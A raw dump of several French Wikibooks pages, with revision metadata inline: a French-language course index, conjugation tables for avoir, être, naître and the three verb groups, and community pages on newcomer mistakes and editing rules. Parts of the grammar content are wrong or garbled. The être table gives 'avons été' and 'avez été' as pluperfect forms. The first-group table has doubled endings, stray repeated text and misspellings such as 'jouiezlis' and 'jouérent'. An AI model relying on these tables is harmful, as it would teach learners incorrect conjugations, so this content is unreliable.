mots. Elle se basera sur la sémantique, la phonologie, la phonétique, la morphologie ainsi que l'histoire pour expliquer comment un mot a dérivé pour en donner un nouveau. === Phonologie === La phonologie étudie les phonèmes et l'organisation des sons d'une langue. === Phonétique === La phonétique s'intéresse aux sons de la langue et à leur formation. == Syntaxe == La syntaxe est l'ensemble des règles communément comprises et admises par les locuteurs pour formuler leurs messages. === Conjugaison (emploi des formes verbales) === Cette partie s'intéressera à l'emploi général et particulier des modes, temps, voix et personnes rencontrés dans la partie orthographique "Conjugaison (forme des verbes)" === Nature des mots === Les mots sont classés en différentes catégories appelées '''natures'''. La nature décrit ce qu'est le mot, mais non son rôle au sein de la phrase, qui est sa fonction (attention aux confusions fréquentes).On distingue ! 1) les mots variables : noms pronoms déterminants verbes adjectifs qualificatifs 2) les mots invariables adverbes conjonctions de coordination et de subordination interjections prépositions === Fonctions === === Homophones === * [[Français/A et À|A et À]] * [[Français/ET et EST|ET et EST]] * [[Français/OU et Où|OU et Où]] * [[Français/ON et ONT|ON et ONT]] * [[Français/SON et SONT|SON et SONT]] * [[Français/CE et SE|CE et SE]] * [[Français/C'EST, S'EST, CES et SES|C'EST, S'EST, CES et SES]] * [[Français/ÇA et SA|ÇA et SA]] * [[Français/QUOIQUE et QUOI QUE|QUOIQUE et QUOI QUE]] == Sémantique == La sémantique étudie le sens des mots. === Rapports de sens === * Antonymie * Homonymie * Métonymie * Synonymie * ... == Littérature == La littérature française est riche de plusieurs siècles. === Auteurs === * [[Français/Honoré de Balzac|Balzac]] * [[Français/Charles Baudelaire|Baudelaire]] * [[Français/Joachim du Bellay|du Bellay]] * [[Français/Nicolas Boileau|Boileau]] * [[Français/Albert Camus|Camus]] * [[Français/Pierre Corneille|Corneille]] * [[Français/Alexandre Dumas|Dumas]] * [[Français/Alexandre Dumas (fils)|Dumas (fils)]] * [[Français/Théophile Gautier|Gautier]] * [[Français/Victor Hugo|Hugo]] * [[Français/Choderlos de Laclos|Laclos]] * [[Français/François de Malherbe|Malherbe]] * [[Français/Stéphane Mallarmé|Mallarmé]] * [[Français/Alfred de Musset|Musset]] * [[Français/Charles Perrault|Perrault]] * [[Français/Jean-Baptiste Poquelin|Poquelin, dit Molière]] * [[Français/François Rabelais|Rabelais]] * [[Français/Jean Racine|Racine]] * [[Français/Pierre de Ronsard|Ronsard]] * [[Français/Émile Zola|Zola]] === Œuvres === === Genres littéraires === == Français langue étrangère == Les cours de '''Français en tant que langue étrangère''' se trouvent dans les projets linguistiques respectifs ou dans le Wikibooks anglophone si celui-là n'existe pas encore : *[[:en:French|Français pour anglophones]] *[[:en:Γαλλικά|Français pour hellénophones]] *[[:en:francoščina|Français pour slovénophones]] *[[:nl:Frans|Français pour néerlandophones]] ==Français en collège== Voir : *[[Français en classe de sixième]] *[[Français en classe de cinquième]] *[[Français en classe de quatrième]] *[[Français en classe de troisième]] ==Bac de français== [[Français:Bac|Bac de Français]] {{Français}} [[de:Französisch]] [[en:French]] [[es:Francés]] [[ja:フランス語]] [[nl:Frans]] [[pl:Francuski]] [[pt:Francês]] [[sv:Franska]] [[zh:法语]] Conjugaison d'avoir 273 25713 2005-11-19T23:48:26Z Esope 99 application du modèle Le verbe [[avoir]] est un verbe auxiliaire particulièrement employé et qui présente de nombreuses irrégularités. Employé seul, il a également le sens de ''posséder''. {{Français Tableau de conjugaison |inf=avoir |infp=avoir eu |pp=eu |ppr=ayant |pprc=ayant eu |ind.p.1s=ai |ind.p.2s=as |ind.p.3s=a |ind.p.1p=avons |ind.p.2p=avez |ind.p.3p=ont |ind.i.1s=avais |ind.i.2s=avais |ind.i.3s=avait |ind.i.1p=avions |ind.i.2p=aviez |ind.i.3p=avaient |ind.ps.1s=eus |ind.ps.2s=eus |ind.ps.3s=eut |ind.ps.1p=eûmes |ind.ps.2p=eûtes |ind.ps.3p=eurent |ind.f.1s=aurai |ind.f.2s=auras |ind.f.3s=aura |ind.f.1p=aurons |ind.f.2p=aurez |ind.f.3p=auront |ind.pc.1s=ai eu |ind.pc.2s=as eu |ind.pc.3s=a eu |ind.pc.1p=avons eu |ind.pc.2p=avez eu |ind.pc.3p=ont eu |ind.pqp.1s=avais eu |ind.pqp.2s=avais eu |ind.pqp.3s=avait eu |ind.pqp.1p=avions eu |ind.pqp.2p=aviez eu |ind.pqp.3p=avaient eu |ind.pa.1s=eus eu |ind.pa.2s=eus eu |ind.pa.3s=eut eu |ind.pa.1p=eûmes eu |ind.pa.2p=eûtes eu |ind.pa.3p=eurent eu |ind.fa.1s=aurai eu |ind.fa.2s=auras eu |ind.fa.3s=aura eu |ind.fa.1p=aurons eu |ind.fa.2p=aurez eu |ind.fa.3p=auront eu |cond.p.1s=aurais |cond.p.2s=aurais |cond.p.3s=aurait |cond.p.1p=aurions |cond.p.2p=auriez |cond.p.3p=auraient |cond.pa.1s=aurais eu |cond.pa.2s=aurais eu |cond.pa.3s=aurait eu |cond.pa.1p=aurions eu |cond.pa.2p=auriez eu |cond.pa.3p=auraient eu |sub.p.1s=aie |sub.p.2s=aies |sub.p.3s=ait |sub.p.1p=ayons |sub.p.2p=ayez |sub.p.3p=aient |sub.i.1s=eusse |sub.i.2s=eusses |sub.i.3s=eût |sub.i.1p=eussions |sub.i.2p=eussiez |sub.i.3p=eussent |sub.pc.1s=aie eu |sub.pc.2s=aies eu |sub.pc.3s=ait eu |sub.pc.1p=ayons eu |sub.pc.2p=ayez eu |sub.pc.3p=aient eu |sub.pqp.1s=eusse eu |sub.pqp.2s=eusses eu |sub.pqp.3s=eût eu |sub.pqp.1p=eussions eu |sub.pqp.2p=eussiez eu |sub.pqp.3p=eussent eu |imp.p.2s=aie |imp.p.1p=ayons |imp.p.2p=ayez |imp.pa.2s=aie eu |imp.pa.1p=ayons eu |imp.pa.2p=ayez eu }} * Remarque : il existe une deuxième forme pour le conditionnel passé, qui a la même morphologie que le subjonctif plus-que-parfait Conjugaison d'être 274 39876 2006-04-09T08:41:52Z 82.255.55.79 {{Français Tableau de conjugaison |inf=être |infp=avoir été |pp=été |ppr=étant |pprc=ayant été |ind.p.1s=suis |ind.p.2s=es |ind.p.3s=est |ind.p.1p=sommes |ind.p.2p=êtes |ind.p.3p=sont |ind.i.1s=étais |ind.i.2s=étais |ind.i.3s=était |ind.i.1p=étions |ind.i.2p=étiez |ind.i.3p=étaient |ind.ps.1s=fus |ind.ps.2s=fus |ind.ps.3s=fut |ind.ps.1p=fûmes |ind.ps.2p=fûtes |ind.ps.3p=furent |ind.f.1s=serai |ind.f.2s=seras |ind.f.3s=sera |ind.f.1p=serons |ind.f.2p=serez |ind.f.3p=seront |ind.pc.1s=ai été |ind.pc.2s=as été |ind.pc.3s=a été |ind.pc.1p=avons été |ind.pc.2p=avez été |ind.pc.3p=ont été |ind.pqp.1s=avais été |ind.pqp.2s=avais été |ind.pqp.3s=avait été |ind.pqp.1p=avons été |ind.pqp.2p=avez été |ind.pqp.3p=avaient été |ind.pa.1s=eus été |ind.pa.2s=eus été |ind.pa.3s=eut été |ind.pa.1p=eûmes été |ind.pa.2p=eûtes été |ind.pa.3p=eurent été |ind.fa.1s=aurai été |ind.fa.2s=auras été |ind.fa.3s=aura été |ind.fa.1p=aurons été |ind.fa.2p=aurez été |ind.fa.3p=auront été |cond.p.1s=serais |cond.p.2s=serais |cond.p.3s=serait |cond.p.1p=serions |cond.p.2p=seriez |cond.p.3p=seraient |cond.pa.1s=aurais été |cond.pa.2s=aurais été |cond.pa.3s=aurait été |cond.pa.1p=aurions été |cond.pa.2p=auriez été |cond.pa.3p=auraient été |sub.p.1s=sois |sub.p.2s=sois |sub.p.3s=soit |sub.p.1p=soyons |sub.p.2p=soyez |sub.p.3p=soient |sub.i.1s=fusse |sub.i.2s=fusses |sub.i.3s=fût |sub.i.1p=fussions |sub.i.2p=fussiez |sub.i.3p=fussent |sub.pc.1s=aie été |sub.pc.2s=aies été |sub.pc.3s=ait été |sub.pc.1p=ayons été |sub.pc.2p=ayez été |sub.pc.3p=aient été |sub.pqp.1s=eusse été |sub.pqp.2s=eusses été |sub.pqp.3s=eût été |sub.pqp.1p=eussions été |sub.pqp.2p=eussiez été |sub.pqp.3p=eussent été |imp.p.2s=sois |imp.p.1p=soyons |imp.p.2p=soyez |imp.pa.2s=aie été |imp.pa.1p=ayons été |imp.pa.2p=ayez été }} Conjugaison de naître 275 12068 2004-11-04T00:46:22Z Guillaumito 46 restitution de la dernière modification de Yann Le verbe '''naître''' fait partie du [[Conjugaison des verbes du troisième groupe|troisième groupe]]. ==Passé simple== * je naquis * tu naquis * il naquit * nous naquîmes * vous naquîtes * ils naquirent Voir aussi [[Conjugaison des verbes français]]. Français/Conjugaison (formes verbales) 276 27517 2005-12-24T16:59:33Z 83.205.83.127 /* Les groupes */ La '''conjugaison des verbes français''' est celle d'une langue flexionnelle : les verbes sont des mots variables composés d'un radical et de désinences (ou ''terminaisons'') changeant selon le temps, le mode, la personne et le nombre. Certaines modifications du radical ainsi que l'existence de nombreux « verbes irréguliers » la rend relativement difficile. ==Les groupes== En français, les verbes sont classés en trois groupes selon leur infinitif: *1<sup>er</sup> groupe : verbes dont l'infinitif se termine par ''-er'' (sauf ''aller''). Exemple : ''jou-er'' ; *2<sup>e</sup> groupe : verbes dont l'infinitif se termine par ''-ir'' et dont le participe présent se termine en ''-issant''. Exemple : ''fin-ir'' / ''fin-issant'' ; *3<sup>e</sup> groupe : tous les autres verbes. Exemple : ''prendre''. ==Tableaux de conjugaison== verbes pouvant servir d'auxiliaires : * [[Conjugaison d'avoir|avoir]] * [[Conjugaison d'être|être]] verbes classés dans le premier groupe : * [[Conjugaison des verbes du premier groupe|Modèle]] * [[Verbes intégrés dans le premier groupes]] verbes classés dans le deuxième groupe : * [[Conjugaison des verbes du deuxième groupe|Modèle]] Tous les autres sont classés dans le troisième groupe : * aller * Verbes en -ir ** * Verbes en -oir ** * Verbes en -re ==Voir aussi== Wiktionnaire : *[[wikt:Catégorie:Conjugaison française|Catégorie:Conjugaison française]] Wikipédia : *[[w:Langue flexionnelle|Langue flexionnelle]] *[[w:Radical (linguistique)|Radical]] *[[w:Désinence|Désinence]] *[[w:Mode (linguistique)|mode]] ==Lien externe== * [http://platea.pntic.mec.es/~cvera/ressources/conjugaison.htm Liste de liens sur la conjugaison] {{français}} Naître 277 12070 2004-08-15T12:09:48Z Yann 2 Naître déplacé vers Conjugaison de naître #REDIRECT [[Conjugaison de naître]] Conjugaison des verbes du troisième groupe 278 24437 2005-10-28T13:19:06Z 62.15.90.132 Les '''verbes du troisième groupe''' Ce groupe comporte environ 350 verbes, ce sont les verbes qui n'appartiennent ni au premier groupe, ni au deuxième groupe, ce sont des verbes ''irréguliers''. - Ils peuvent possèder un ou plusieurs radicaux. - Il y a plusieurs modèles de terminaisons différentes. Exemple: ''devoir'' {| border = "1" |- ! ! Terminaison ! Exemple ! |- | présent de <br />l'indicatif | -s <br /> -s <br /> -t <br /> -ons <br /> -ez <br /> -ent | je dois <br /> tu dois <br /> il doit <br /> nous devons<br /> vous devez <br /> ils doivent<br /> | Notez la racine ''dev-'' à la première et deuxième personne du pluriel. |} Voir aussi [[Conjugaison des verbes français]]. Conjugaison des verbes du deuxième groupe 279 12072 2004-08-15T12:14:48Z Yann 2 d'après wikipédia Tableau de conjugaison des verbes du deuxième groupe : {| border="1" |----- ! | ! ! Terminaisons ! Exemple |----- | Présent de<br />l'indicatif | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -is<br />-is<br />-it<br />-issons<br />-issez<br />-issent | je fin'''is'''<br />tu fin'''is'''<br />il fin'''it'''<br />nous fin'''issons'''<br />vous fin'''issez'''<br />ils fin'''issent''' |----- | Imparfait de<br />l'indicatif | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -issais<br />-issais<br />-issait<br />-issions<br />-issiez<br />-issaient | je fin'''issais'''<br />tu fin'''issais'''<br />il fin'''issait'''<br />nous fin'''issions'''<br />vous fin'''issiez'''<br />ils fin'''issaient''' |----- | Passé<br />simple | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -is<br />-is<br />-it<br />-îmes<br />-îtes<br />-irent | je fin'''is'''<br />tu fin'''is'''<br />il fin'''it'''<br />nous fin'''îmes'''<br />vous fin'''îtes'''<br />ils fin'''irent''' |----- | Futur<br />simple | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -irai<br />-iras<br />-ira<br />-irons<br />-irez<br />-iront | je fin'''irai'''<br />tu fin'''iras'''<br />il fin'''ira'''<br />nous fin'''irons'''<br />vous fin'''irez'''<br />ils fin'''iront''' |----- | Présent du<br />subjonctif | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -isse<br />-isses<br />-isse<br />-issions<br />-issiez<br />-issent | je fin'''isse'''<br />tu fin'''isses'''<br />il fin'''isse'''<br />nous fin'''issions'''<br />vous fin'''issiez'''<br />ils fin'''issent''' |----- | Imparfait du<br />subjonctif | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -isse<br />-isses<br />-ît<br />-issions<br />-issiez<br />-issent | je fin'''isse'''<br />tu fin'''isses'''<br />il fin'''ît'''<br />nous fin'''issions'''<br />vous fin'''issiez'''<br />ils fin'''issent''' |----- | Impératif<br />présent || 2 p.s.<br />1 p.p.<br />2 p.p. | -is<br />-issons<br />-issez | fin'''is'''<br />fin'''issons'''<br />fin'''issez''' |----- | Infinitif<br />présent || impers. || -ir | fin'''ir''' |----- | Participe<br />présent || impers. || -issant | fin'''issant''' |----- | Participe<br />passé || impers. || -i || fin'''i''' |} Voir aussi [[conjugaison des verbes français]]. Conjugaison des verbes du premier groupe 280 12073 2005-03-16T13:17:42Z 193.252.108.162 Le '''premier groupe''' comporte tous les verbes dont l'infinitif se termine par ''-er'', à l'exception du verbe ''aller''. Tableau de conjugaison des verbes du premier groupe : {| border="1" |----- ! | ! ! Terminaisons ! Exemple |----- | Présent de<br />l'indicatif | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -e<br />-es<br />-e<br />-ons<br />-ez<br />-ent | je joue''e'''<br />tu joues'''es'''<br />il joue'''e'''<br />nous jouons'''ons'''<br />vous jouez'''ez'''<br />ils jouent'''ent''' |je joue tu joues il joue nous jouons vous jouez ils jouent----- | Imparfait de<br />l'indicatif | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -ais<br />-ais<br />-ait<br />-ions<br />-iez<br />-aient | je jouais'''ais'''<br />tu jouais'''ais'''<br />il jouait'''ait'''<br />nous jouions'''ions'''<br />vous jouiez'''iez'''<br />ils jouaient'''aient''' |je jouais tu jouais il jouait nous jouions vous jouiez ils jouaient----- | Passé<br />simple | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -ai<br />-as<br />-a<br />-âmes<br />-âtes<br />-èrent | je jouai'''ai'''<br />tu jouas'''as'''<br />il joua'''a'''<br />nous jouâmes'''âmes'''<br />vous jouâtes'''âtes'''<br />ils jouèrent'''èrent''' |je jouais tu jouas il joua nous jouâmes vous jouâtes ils jouérent----- | Futur<br />simple | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -erai<br />-eras<br />-era<br />-erons<br />-erez<br />-eront | je jou'''erai'''<br />tu jou'''eras'''<br />il jou'''era'''<br />nous jou'''erons'''<br />vous jou'''erez'''<br />ils jou'''eront''' |je jouerai tu joueras il jouera nous jouerons vous jouerez----- | Présent du<br />subjonctif | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -e<br />-es<br />-e<br />-ions<br />-iez<br />-ent | je jou'''e'''<br />tu jou'''es'''<br />il jou'''e'''<br />nous jou'''ions'''<br />vous jou'''iez'''<br />ils jou'''ent''' |je joue tu joues il joue nous jouions vous jouiezlis jouent----- | Imparfait du<br />subjonctif | 1 p.s.<br />2 p.s.<br />3 p.s.<br />1 p.p.<br />2 p.p.<br />3 p.p. | -asse<br />-asses<br />-ât<br />-assions<br />-assiez<br />-assent | je jou'''asse'''<br />tu jou'''asses'''<br />il jou'''ât'''<br />nous jou'''assions'''<br />vous jou'''assiez'''<br />ils jou'''assent''' |je jouasse tu jouasses il jouât nous jouassions vous jouassiez ils jouassent----- | Impératif<br />présent || 2 p.s.<br />1 p.p.<br />2 p.p. | -e<br />-ons<br />-ez | jou'''e'''<br />jou'''ons'''<br />jou'''ez''' |je joue tu joues il joue nous jouons vous jouez ils jouent----- | Infinitif<br />présent || impers. || -er | jou'''er''' |jouer----- | Participe<br />présent || impers. || -ant | jou'''ant''' |jouant----- | Participe<br />passé || impers. || -é || jou'''é''' |} joué Exception: au présent de l'indicatif, à la première personne du singulier, la termination prend un accent aigu en cas d'inversion. Par exemple: "Joué-je ?" Voir aussi [[Conjugaison des verbes français]]. Verbes irréguliers 281 12074 2004-08-15T13:34:39Z Yann 2 Verbes irréguliers déplacé vers Verbes irréguliers en anglais #REDIRECT [[Verbes irréguliers en anglais]] Wikilivres:Les faux-pas les plus courants 283 12076 2004-08-15T18:19:41Z Yann 2 d'après Wikipédia [[en:Wiki:Most common Wikipedia faux pas]] Bienvenue aux débutants - c'est vous qui faites vivre ce projet. Nous voulons vous mettre à l'aise, et vous encourager à créer et modifier les articles de Wikilivres. Nous voulons que vous n'hésitiez pas à apporter vos modifications. Généralement, nous considérons ce projet comme une communauté où le travail de chaque personne a la même valeur, que l'on soit nouveau, ou utilisateur de longue date. Si vous n'appréciez pas les règles, ou tout ce qui peut ressembler à des règles, arrêtez de lire ce document. Nous voulons que vous vous sentiez libre de procéder comme bon vous semble. Nous vous offrons les conseils suivants dans le seul but de vous donner un coup de pouce pour commencer, et rendre plus agréable le temps que vous passerez parmi nous. Il y a quelques faux pas que les nouveaux ''wikibibliophiles'' font souvent; nous les avons rassemblés dans la liste qui suit. Alors - si vraiment ça vous intéresse - voici donc '''les choses les plus importantes à éviter lorsque l'on participe à Wikilivres''' : * '''Trop s'inquiéter de la pagaille que l'on est en train de semer.''' Il vous arrivera probablement de semer la pagaille - tout le monde le fait plus ou moins, à un moment ou un autre. Mais de toute manière, comme chacun nettoie constamment le désordre des autres, votre pagaille sera vite réparée par les autres, qui mettront à leur tour un petit peu de désordre, etc... Alors n'hésitez pas ! N'hésitez surtout pas à modifier des pages !!! * '''Mettre des [[majuscule]]s à chaque mot des titres d'articles.''' Il n'est pas nécessaire de mettre un 'a' majuscule dans 'Grammaire anglaise' - cela permet de faciliter les liens vers cet article. De plus, si on devait Ecrire En Majuscules Tous Les Mots Susceptibles De Devenir Des Liens, les articles prendraient tous un aspect assez étrange ... * '''Confondre Wikilivres avec un dictionnaire ou une encyclopédie'''. * '''Supprimer des articles utiles'''. Il est impoli de supprimer un article pour la simple raison qu'il n'est pas objectif, ou qu'il est mal rédigé. Ne vaut-il pas mieux le corriger ? Sauf dans des cas extrêmes, aucune suppression de plus de quelques lignes ne devrait se faire sans une justification dans la page de discussion associée à l'article en question. Un principe de base est d'ailleurs de ne jamais réduire le contenu d'un article. * '''Utiliser Wikilivres comme un forum de discussion'''. Sur les pages de discussion, on peut facilement se laisser entraîner dans des débats partisans sur des sujets divers. A moins que cela ne mène à l'amélioration d'un article - ce qui est rarement le cas dans ce genre de débats --, mieux vaut encore ne rien faire, et attendre que les choses se calment d'elles-mêmes. Internet regorge d'endroits où vous pouvez vous lancer dans des joutes oratoires, et tenter de convaincre avec force arguments que ''les frites, c'est meilleur avec de la moutarde qu'avec de la mayonnaise'' ... Mais pas sur Wikilivres ! Notre but principal est de créer un recueil de livres ! Consultez [[Wikipédia:Ce que Wikilivres n'est pas]]. * '''Penser que chaque article a un auteur'''. Beaucoup de nouveaux venus pensent que chaque article a un auteur. Et donc, ils n'osent pas apporter de modifications aux articles, et ont tendance à émettre des critiques sur les [[Wikilivres:page de discussion|pages de discussion]], plutôt que d'apporter eux-même les modifications nécessaires. En fait, un article n'a pas un auteur unique, même si une seule personne a participé à sa rédaction. En théorie, n'importe qui peut participer à n'importe quel article - et si vous voyez un problème dans un article, et que vous pouvez le corriger; alors n'hésitez pas une minute ! N'utilisez la page de discussion que si la politesse exige que vous justifiez vos modifications. Pour plus d'informations, voir [[Wikilivres:N'hésitez pas à modifier les articles]]. * '''[[Wikilivres:Adopter une attitude agressive|Adopter une attitude agressive]]'''. Certains nouveaux venus comprennent rapidement que nous essayons tous de travailler en commun, de façon à parvenir chaque fois à un consensus amical. Malheureusement, d'autres confondent nos discussions avec les querelles que l'on retrouve sur [[Usenet]]. En fait, la plupart des habitués préfèrent passer le moins de temps possible dans de telles disputes. Ce n'est pas le but de Wikilivres. Mais cela ne veut pas dire qu'il n'y a jamais de disputes ! Même parmi les habitués de longue date ... Bien sûr qu'il y en a ! Nul n'est [[troll|parfait]]. Mais on peut dire que la plupart d'entre nous évitent d'y prendre part, et que cela a plutôt tendance à nous embarrasser lorsque cela se produit. Nous sommes ici pour écrire un recueil de livres. Et cela nécessite une certaine dose de [[Wikilivres:Wikiétiquette]]. N'oubliez pas, le maître mot est '''[[consensus]]'''. * '''Juger et tenter de changer Wikilivres, avant même d'en avoir bien compris le fonctionnement'''. Il faut comprendre que Wikilivres est '''en cours de développement''', et que de nombreuses personnes, sérieuses et consciencieuses, y travaillent chaque jour, et y accordent beaucoup d'importance. Certaines personnes arrivent sur le site et, sans essayer de comprendre pourquoi ni comment Wikilivres fonctionne, essaient de s'imposer, ou critiquent notre projet en se fondant sur quelques articles récents, incomplets, ou mal rédigés... En fait, pour pouvoir apprécier Wikilivres, vous devez apprendre à tolérer nos imperfections (temporaires). Vous devez garder à l'esprit que nous travaillons tous, jour après jour, à améliorer continuellement les articles... Voir [[w:Wikilivres|Wikilivres]] et ''[[Wikilivres:FAQ| la foire aux questions]]'' pour plus d'informations sur le projet. Voir également [[Wikilivres:Réponses aux objections habituelles|réponses aux objections habituelles]]. Cette liste se limite aux faux pas les plus courants et les plus importants. Wikilivres:Règles 284 45171 2006-06-18T18:00:12Z Greudin 1 /* Règles d'édition */ à traduire? '''[[Wikilivres:Wikilivres|Wikilivres]]''' est un projet collaboratif, avec un but commun, partagé par les participants. ''Créer et développer des livres pédagogiques, guides et autres textes libres et gratuits''. Bien sûr, nous avons tous des raisons personnelles de participer, et chacun est libre d'apporter sa pierre à l'édifice commun de la façon qu'il souhaite, mais les créateurs de Wikilivres avaient à l'esprit une vision du projet que la plupart d'entre nous partagent : :''Notre but avec Wikilivres est de créer un recueil de livres libres -- si possible la plus riche des recueils, que ce soit en largeur et en profondeur. Nous souhaitons tous que Wikilivres devienne une ressource utile et fiable.'' Atteindre ce but nécessite l'édification de '''règles''' communes pour nous assurer que nous travaillons ensemble, dans la bonne direction, avec le moins de heurts possibles. Il existe donc certaines règles communes et autres recommandations, mises au point par [[consensus]]. Elles sont détaillées ci-dessous : == Règles principales == Un certain nombre de règles sont généralement acceptées, voire considérées comme importantes par tous les participants au projet : === Wikilivres est un recueil de livres pédagogiques === Certaines entrées sont généralement déconseillées parce qu'elles ne constitueraient pas, stricto sensu, des articles adaptés à Wikilivres. Wikilivres n'est ni un dictionnaire, ni une encyclopédie, ni un forum de discussion. Voir aussi [[Wikilivres: Ce que Wikilivres n'est pas]] (garder l'œil sur l'objectif). Les pages de discussion doivent avant tout être utilisées dans le but d'améliorer les articles. === Copyrights, respect des droits d'auteur=== Les articles de Wikilivres sont publiés sous la [[w:Licence de documentation libre GNU|Licence de documentation libre GNU]]. Si vous copiez des données dans un article, elle doivent être, soit dans le [[domaine public]] (si bien que personne ne peut réclamer de droits d'auteur), soit déjà publiées sous la Licence de documentation libre GNU. Si tel n'est pas le cas, il vaut mieux ne pas copier ces données.<br> Voir aussi [[Wikilivres:Règles d'utilisation des images]]. === Impartialité === Wikilivres se doit de proposer des articles aussi impartiaux que possible. Le but n'est pas d'écrire des articles proposant le point de vue le plus couramment répandu (« moyen »), mais plutôt de présenter tous les points de vue sur un thème donné, sans parti pris, sans positionnement et avec honnêteté : c'est ce que nous appelons [[Wikilivres:la neutralité de point de vue|la neutralité de point de vue]]. Si vous estimez qu'un article est partial, listez-le sur [[Wikilivres:Pages à modifier]], ajoutez un [[Wikilivres:Message de désaccord de neutralité|en-tête]] à l'article pour indiquer votre désaccord et expliquez, dans la page de discussion de l'article, en quoi cet article n'est, selon vous, pas neutre. === Rédaction collective === Tous les articles sont rédigés collectivement. Ceci signifie que toutes vos contributions sur Wikilivres sont susceptibles d'être altérées sans que votre rédaction initiale ne vous confère un quelconque droit de véto. Si vous n'acceptez pas ce principe, il vaut mieux ne pas apporter vos écrits personnels sur Wikilivres. Par ailleurs, en vertu de ce principe, les articles ne doivent pas mentionner de nom d'auteur (exception : texte préalablement publié sous une licence libre de type GNU spécifiant que le nom de l'auteur original doit être signalé dans toute reproduction du texte original). Pour connaître les utilisateurs ayant contribué à un article, utilisez le lien "Historique" en bas de page. ''Voir aussi'' : [[Wikilivres:Les faux-pas les plus courants|Faux-pas les plus courants]] === Respect des autres wikibibliophiles === Les [[Wikilivres:participants|participants]] viennent de différents pays et de différentes cultures, et ont des points de vue très différents. En traitant les autres et leurs avis avec respect, nous pourrons collaborer avec plus d'efficacité dans la construction de l'encyclopédie. Le respect des autres va au-dela du respect de leurs opinions ; il s'agit également, au quotidien, de leur éviter des taches ingrates ou pénibles, si cela peut être évité. Par exemple : * les modifications faites par des anonymes attirent plus souvent les suspicions que les modifications faites par des éditeurs connus. Chaque fois que vous éditez en tant qu'anonyme, rappelez-vous qu'un éditeur va peut être passer du temps à vérifier la validité de vos ajouts ; * pensez à cocher la case « édition mineure » pour de simple corrections typographiques ou d'expression ne changeant pas la signification du texte. Ne cochez pas cette case lorsque la modification est importante ou modifie le point de vue présenté par un article. Ainsi, vous ferez gagner du temps aux autres éditeurs qui ne vérifieront que vos modifications majeures ; * pensez à commenter vos modifications dans la zone de commentaire ; * évitez un grand nombre successif de modifications mineures dans un article, surtout lorsque le serveur est lent : cela obscurcit la page de modifications récentes et allonge le temps de vérifications de vos pairs. A l'extrême, cela pourrait être même perçu comme une technique permettant de cacher des modifications controversées ; * faites des efforts pour corriger vos erreurs typographiques et grammaticales les plus grossières ; ne comptez pas intégralement sur les autres éditeurs pour le faire derrière vous. Bien sur, ces exemples ne sont pas forcément des règles à respecter impérativement :-) Cependant, un éditeur tendant à ne respecter aucune de ces règles risque d'être assez mal perçu par la communauté. Le respect des autres contributeurs consiste aussi à éviter les attaques personnelles, directes ou insidieuses (telles que « soupçonner » l'autre de divers torts). Même lorsque vous êtes ainsi attaqués, évitez de répondre de même, ça ne fait qu'envenimer la situation : ne vous laissez pas emporter. == Comment les règles sont-elles établies == Pour un grand nombre d'entre elles, les règles « de base » ont été établies au début du projet Wikipédia, autrement dit sur la [http://en.wikipedia.org Wikipédia anglophone], essentiellement par habitude, par consensus, sur les pages de discussion ou sur les listes de discussion. Au fur et à mesure de l'évolution du projet francophone, des règles adaptées à notre langue commune sont mises en place. Certaines règles sont discutées sur les [[w:Wikipédia:liste de discussion]] et sur [http://meta.wikipedia.org le site méta], en particulier lorsqu'elles concernent des problèmes d'ordre général. La plupart de ces règles font l'objet d'une [[w:Wikipédia:Prise de décision|prise de décision]]. Les Wikibibliophiles utilisent des pages de « discussion » de chaque article pour discuter des changements au texte, plutôt que d'en discuter dans l'article lui-même. Certaines règles qui ont été proposées rencontrent un degré variable de suivi dans la communauté Wikilivres. Une règle fréquemment soulignée par les éditeurs est : « Si certaines règles vous rendent nerveux et déprimé(e), et peu enclin(e) à participer au wiki, alors ignorez-les complètement et poursuivez votre activité. » (Dans ces conditions, il peut être surprenant que le wiki soit cet endroit si discipliné et agréable à vivre...) == Comment les règles sont-elles mises en œuvre ? == Un aspect essentiel de Wikilivres est que '''vous''' êtes un éditeur. Il n'y a pas d'éditeur en chef sur Wikilivres ou de système de contrôle et de validation des articles. Au lieu de cela, '''tous''' les participants du projet ont un '''[[Wikilivres:Cultivons notre jardin|rôle actif]]'''. Par exemple, tous les wikipédiens peuvent surveiller la création et les modifications apportées à un article par le biais de la page [[Special:Recentchanges|Modifications récentes]]. Tous et chacun peuvent apporter relecture, correction de typographie, orthographe, formatage, wikification, amélioration de la neutralité, ajout d'information, voire refonte complète de l'article ! Bref, tous les [[Wikilivres:Participants|participants de Wikilivres]] sont à la fois des '''auteurs''' et des '''éditeurs'''. == Liste de recommandations et règles == === Règles de comportement === *[[Wikilivres:Règles de savoir-vivre|Règles de savoir-vivre]] *[[Wikilivres:Toujours commenter vos modifications dans la boîte de résumé|Toujours commenter vos modifications dans la boîte de résumé]] *[[Wikilivres:Refus d'édition et exclusions|Refus d'édition et exclusions]] === Règles d'édition === * [[Wikilivres:Critères d'admissibilité des articles|Créer des articles utiles et pertinents]] * [[Wikilivres:contenu évasif|Contenu évasif]] * [[Wikilivres:Citez vos sources|Citez vos sources]] * [[Wikilivres:Ne pas abuser des liens externes|Ne pas abuser des liens externes]] * Que le texte de chaque article présente au moins un lien vers un autre article. * [[Wikilivres:Limitez l'usage de la couleur dans les articles|Limitez l'usage de la couleur dans les articles]] * [[Wikilivres:Orthographe|Orthographe]] * [[Wikilivres:Mots récents|Mots récents]] * [[Wikilivres:Conventions de style|Conventions de style]] * [[Wikilivres:Conventions typographiques|Conventions typographiques]] * [[Wikilivres:Conventions sur les titres d'articles]] * [[Wikilivres:Nommage des noms 